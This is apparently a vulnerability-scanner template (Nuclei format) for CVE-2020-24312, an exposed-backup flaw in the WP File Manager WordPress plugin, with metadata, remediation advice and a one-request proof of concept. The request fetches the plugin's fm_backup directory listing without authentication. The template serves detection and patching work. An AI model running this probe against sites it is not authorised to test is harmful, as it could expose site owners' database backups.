mndpsingh287 WP File Manager v6.4 and lower fails to restrict external access to the fm_backups directory with a .htaccess file. This results in the ability for unauthenticated users to browse and download any site backups, which sometimes include full database backups, that the plugin has taken.
PoC代码[已公开]
id: CVE-2020-24312
info:
name: WordPress Plugin File Manager (wp-file-manager) Backup Disclosure
author: x1m_martijn
severity: high
description: |
mndpsingh287 WP File Manager v6.4 and lower fails to restrict external access to the fm_backups directory with a .htaccess file. This results in the ability for unauthenticated users to browse and download any site backups, which sometimes include full database backups, that the plugin has taken.
impact: |
This vulnerability can lead to unauthorized access to sensitive information, such as database backups, configuration files, and other sensitive data.
remediation: |
Update the WordPress Plugin File Manager (wp-file-manager) to the latest version to mitigate the backup disclosure vulnerability.
reference:
- https://zeroaptitude.com/zerodetail/wordpress-plugin-bug-hunting-part-1/
- https://nvd.nist.gov/vuln/detail/CVE-2020-24312
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Elsfa7-110/kenzer-templates
- https://github.com/StarCrossPortal/scalpel
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-24312
cwe-id: CWE-552
epss-score: 0.51624
epss-percentile: 0.97757
cpe: cpe:2.3:a:webdesi9:file_manager:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: webdesi9
product: file_manager
framework: wordpress
tags: cve,cve2020,wordpress,backups,plugin,webdesi9,vuln
http:
- method: GET
path:
- '{{BaseURL}}/wp-content/uploads/wp-file-manager-pro/fm_backup/'
matchers-condition: and
matchers:
- type: word
words:
- 'Index of'
- 'wp-content/uploads/wp-file-manager-pro/fm_backup'
- 'backup_'
condition: and
- type: status
status:
- 200
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